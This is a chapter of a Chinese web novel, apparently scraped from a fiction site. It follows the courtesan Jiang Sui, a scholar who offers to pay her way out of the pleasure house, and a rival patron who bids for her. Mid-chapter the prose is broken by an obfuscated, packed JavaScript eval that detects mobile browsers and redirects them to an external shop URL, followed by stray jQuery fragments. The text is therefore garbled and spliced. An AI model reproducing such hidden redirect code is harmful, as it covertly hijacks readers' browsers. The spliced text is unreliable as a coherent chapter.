文趣网 > 其他小说 > 方休 > 17. 风流佳客齐齐堂聚
    说来人与人之缘分,便入戏文里唱得那句“偶然一念”,然话本小说打头,也要提一句感慨诗。

    江岁踩着红枫走到院外,脑中纷飞如絮,抓不住似的曝开。也不知自个儿是昏了头,还是今岁枫叶红得艳过往年,一路与他慢悠悠穿街过巷,默然半响,才觉得多少缘分都断在“为妹南下,暂居几月,不日回金陵”一句间了。

    好在,还有未出笼的吃食,去抓挠思绪。

    将出炉蓑衣饼端摆开,烤炙酥黄,撒一小把绿油油葱花,椒盐气味钻鼻,咬上一口,是打内一层一层的酥脆。一旁蟹黄银丝面与炉焙鸡都盖不住这香味!

    江岁先浇上勺醋,尝一筷银丝面,再挑起闷着香酒的鸡肉,欢喜意从一双眼里溢出,沐和玉偶抬头凝她,也会分神一笑。

    “娘子吃得好香。”他说,“听闻楼中佳肴一绝,诸般珍馐过口,江娘子竟还对外处留恋不忘。”

    “不一样。”江岁埋头吃面,忆起姿态才搁筷,“人不一样,景不一样,自然味道也不一样。”

    沐和玉筷尖一斜,没挑起那块炉鸡,反挪眼笑问:“如何不一样?楼中是甚么景甚么人?”

    话音从小庭幽槛转至美食珍馐,再至那座金灿灿楼,口中鲜味悄失,色美俱散,江岁慢拨筷垂眸,乍然品得她前句所言里飘着的轻浮,也为沐和玉所回那句知其深意而感伤心冷。

    看罢,天下人皆是一般。她几乎能想到后语会如何似往常客一般,绕去她生厌地步。

    佳客风流。风流佳客。

    竟是如何也拆不去的一对。

    “难熬么?”

    “甚么?”

    沐和玉搁下筷,瞧跟前姑娘一双眉眼,从郁暗冷颜变作懵懂孩提。

    他正音色,敛尽笑容,续问:“为良籍困于楼中,是因银钱难渡?若是为此——”

    江岁全然呆住,一颗心自水流下又从高处转,七上八下不知要落在何地。她分不清这股情绪打从何处来,却莫名羞愧,只觉这话比万句都要戳心窝。

    答不出,又觉得委屈。

    她实在是个不争气的姑娘,泪珠在眼眶中打转,连埋头也藏不住,豆大珠子砸向银丝面里,晕开好大团浮油。

    沐和玉委实慌了神,娘子一哭他便作呆头鹅,臂膀抬了又放,慌慌张张问:“可是在下哪句话得罪了娘子?”

    那一双眼干干净净的,没有半点狎昵之意,直叫江岁臊得厉害。

    她头埋得低低,三步并作两步便结了银两,蹿去斜角小轿里打发轿夫快快走。

    “江娘子!”

    “江娘子——”

    那道音色越发远,像院里飘下的红枫抓不住。

    她靠在轿壁上,呆愣着神思。

    只觉今儿出去一遭,如被鬼魇了身。

    然快近荣华楼小巷,江岁鬼使神差掀帘,盯着丝绸铺正忙碌的掌柜娘子,说:“停一脚。”

    “岁姑娘!”掌柜娘子搁下剪刀,“可碰着你了,前日有人来予你书,我正替你收着呢。”

    江岁接过书,盯着其上刊印四字,一瞧便是一个夜头。

    她懵懵懂懂望,逐字逐句品。

    如何尽心见那些佛法道理跳跃入心,却始终组不成一句清晰语,此前秋和所言,她没能瞧望见三五句,倒是女子学道与夫妇论将将抓回她的神。

    江岁不免想起娘的话,又忆起沐和玉那个人。

    “为良籍困在楼中,是因银钱难渡?若是为此——”

    若是为此,又会……如何?

    江岁仰坐藤椅间,盯住窗棂外斜摇枝头,临冬叶落,晃动的只剩光秃秃枝干与蜷曲枯黑叶。

    那些未答之语,落在沐和玉眼中,又会是甚么感受?

    一阵铺面冷风来,撞开窗闩,将她吹醒个激灵,江岁恨恨咬舌尖,又恨起自个儿不争气的性子。

    日日楼中窥看,还看得不够多,不够清么!

    她脱鞋褪衣,钻进被衾里直直盖住脑袋,叫那些可笑思绪都闷在炉中,沉沉睡去,可翌日一早,楼中将亮起金黄灯火,雀儿便欢喜蹿进来,“娘子,有位爷包了您整个月头,妈妈乐得在柜台数钱,打发我来知会娘子好生梳头,尽心陪恩客呢。”

    “哪位爷?”

    雀儿端来盆盂,“我没瞅见,妈妈请在清阁里坐着。”

    江岁磨磨蹭蹭下榻,心早凉半截。除了昨儿个那被羞辱的四位爷,便只有来讨债的薛大官人。

    可出得起如此大手笔的人物,也只薛邑一人。

    她坐在铜镜前,一头油亮青发垂肩,雀儿三五下盘出个精致发髻,娘子们接客,她们私下有赏银,也乐得开心呢。

    唯独江岁抬不起唇角,耷拉着只如削尖笔杆,衣裳落身,却连门也不愿跨出去。

    “娘子怎么不动?”雀儿朝里张望,只以为是落下物什,“外面爷坐得久了,娘子缺甚么打发我来取便是。”

    江岁摇头,一声不吭走了。

    在荣华楼里,若薛大官人想做甚么,纵使银子多如沙子,也得依着规矩办事。未办梳拢夜,她还可在楼中踩着那条规矩线,横行放肆。

    “雪娘,快过来。”假母拢笑扯她去一旁,指一指清阁里老爷,低声道:“这是你的福气,可抓紧呢,包了整整一个月头,凡事听着,莫惹老爷不痛快。”

    江岁垂着脑袋没应声,甄静庄瞪她一眼,一把推她进去,手间丝帕一晃,门便合上。

    阁中焚着清香,没有声响。

    江岁绕过来,先望着案角侍弄金菊的一双手,当即心一跳,再密密上拂眼,正与转过来的一张脸对望。

    “江娘子。”他眉眼卷起淡淡的歉意,却仍旧正经朝她一揖,“在下来给娘子赔不是。”

    江岁紧绷身子忽地松懈开,一颗心像是又活过来。她实在开心,不必揪心于那等人纠缠,于是眉梢不再低挂,脚步迈得轻快,先朝左去替他温一壶茶,“沐相公要在苏州呆一个月?”

    沐和玉顺势坐下,“七八日便要启程。”

    只听江岁问,“那何必多费二十几日的银子。”

    银子。

    不同于金陵秦淮河畔妓家分别门户,苏州山塘的妓院遮得风雅,入内金煌灿艳,谁也不会先朝风月处想,然银子与娘子,交涉其中,便像如何也搅不开的胶漆,他不愿点破推脱不去干系惹她多心,却又不想再望见昨天那双泪眼。

    于是手心那株金菊在不经意间遭了难,沐和玉浑然不觉,只捻着花瓣直言:“寻常官妓若想脱籍,除了交付于老鸨的赎身费,难得是去伺部一通上下打点,可江娘子与她们不同,如今在下所言不知是否冒犯,但娘子若有意,沐某愿尽力保娘子出楼。”

    余光间一瓣金菊垂落,他一把攥进手心合拳搁膝,话从嗓子里滚出来,“如今世道,若是父母亲戚间的逼良为娼,着实难告,众鸨儿间也有官官相护的门路,我不知娘子身世,便也只有付清劳契银子这一条法子。”

    温茶小炉不知沸了多少声,可坐于案前的娘子久未出声。

    “江娘子——”

    “她会耗空你的身家。”

    话音被江岁打断,她分明在笑,眼底却是哀伤,“相公一片热忱心,为我,实在不知如何报答。但我与楼中私妓却又不同,走不得付清劳契的路。”

    沐和玉一怔,显然不明白,“这是为何?”

    清苦茶香已盖过金炉里那点余灰气,烟绯衣摆近身前,带着一丝若有若无李檬子味。

    “相公请吃茶。”江岁推出茶盏,静静望着他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707324|207266||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没有答话。

    这人啊,生得一副好皮囊,心也是热的。可她不免想李乾娘所言,踩在这实实地间,她竟没个户帖,岂非大半生都做了个流民,像一口空壳游魂栓死在楼中,便是生了逃意,也不敢逃去金陵南都半个天子脚下。

    “说来奇怪,与沐相公同处,少万般楼中拘束,倒有几分在后院与众乾娘吃饭的松快意。”

    不像初见时不珍视缘分的心,她说:“与相公呆着彼此率性,无复检束,便是快活,得友也莫不过如此。我与相公初见是,复见也是,只往后无缘,便在此地先遥祝沐相公回程平安,高中及第了。”

    推拒一次,是不解意,推拒两次,是为有苦也难言。

    只可惜与他这两面之缘的闲客,道不出心口话,沐和玉垂目握瓷杯,小抿一口轻回:“借娘子吉言。”

    然低头一瞧,手心菊瓣,早被碾成一丝一丝花汁。

    清阁这瓶金菊日日少几瓣,连打扫小厮也咄咄称奇,沐和玉一连来陪她三日,时谈风雅韵事,时道金陵景致,时荐流连美食,时提及那本《李氏焚书》惹得江岁生奇。

    可变故便出在这第四日。

    清阁外传来假母逐渐靠近的谄媚音,却正正停在她们跟前,推开门,乌泱泱一群人。

    “薛大官人,您快请。”甄静庄扭着步子来,“雪娘,快来迎一迎。”

    她倒做得体面人,又去朝沐和玉赔不是,“沐相公,真是叨扰了您兴致,实在我们姑娘惹人挂念,这不薛大官人听闻雪娘被人包了一整月,闹着要翻两倍价。我又两面得罪不得,这只好叫两位见一见,商议个对策。”

    她笑着拉江岁起身,“老身有个笨法子,不若一日掰成上日与下日,这样只累着些雪娘,倒全了两位爷——”

    还不待假母笑脸话说罢,薛邑笑哼一声,“原以为沐相公是个风月不沾身的老实人,不想英雄救美救到青楼里当嫖客帮闲来了。”

    他余下兄弟皆捧腹揶揄:“这些个书生才子俱是如此做派,偏要装作一副圣人模样,嫖资没几个子儿,风骨倒垒如柴高,倒不如咱们坦荡,雪娘,你说是与不是?”

    江岁脸色难看,背过身问假母,“妈妈这是甚么意思,架我在这等火上炙烤,既收了沐相公的银子,哪里兴如此?岂不坏了楼里名声?”

    偏甄静庄压着嗓子,扯她朝屏后挪,面上端得一副有理模样,“你当老娘不晓得,那薛大官人是甚么人?太仓州二老爷的侄儿,来往南北有名的富商,又出得二百两银子,二百两!多少名妓姑娘梳拢夜也没这个价!我为着你考量,你这妮子倒不识抬举。”

    二百两。

    江岁着实心惊,朝前望,沐相公早当着一众人撩袍坐下,自顾自饮完那碗茶。

    “薛大官人,是瞒着薛老爷来上门找不痛快?”他不疾不徐搁盏,“在下倒有个闲心,为薛老爷府门前再走一遭。”

    “别拿叔父压老子!”薛邑横着眼便要冲前,若非假母见势头不对,急急撇开江岁拦在两人当中,只怕桌案也要掀翻了去。

    那双吊梢眼移去江岁一张不笑面上,心思忽得一活络。他松开拳,敞开腿朝椅上一坐,“不劳甄妈妈费心了,小爷却愿得与沐相公一道同享美人。”

    薛邑挑衅扬眉,“沐相公若不愿,妈妈只管打二百两里拨些银子,赔付给沐相公。”

    话一落,他身后站着的三五帮闲各寻椅凳,乐呵着席地而坐,“那案上搁着琵琶,雪娘快给咱们薛大官人献艺一曲。”

    甄静庄见状,自然乐得其成,忙不迭取来琵琶塞江岁怀里。

    “薛大官人不晓得,当初老身瞧中这姑娘时,她还在楼中同一众新人学艺呢,又去王居士那处作了几个月丫鬟,琴艺自然不必说,包管各位爷听得尽心。”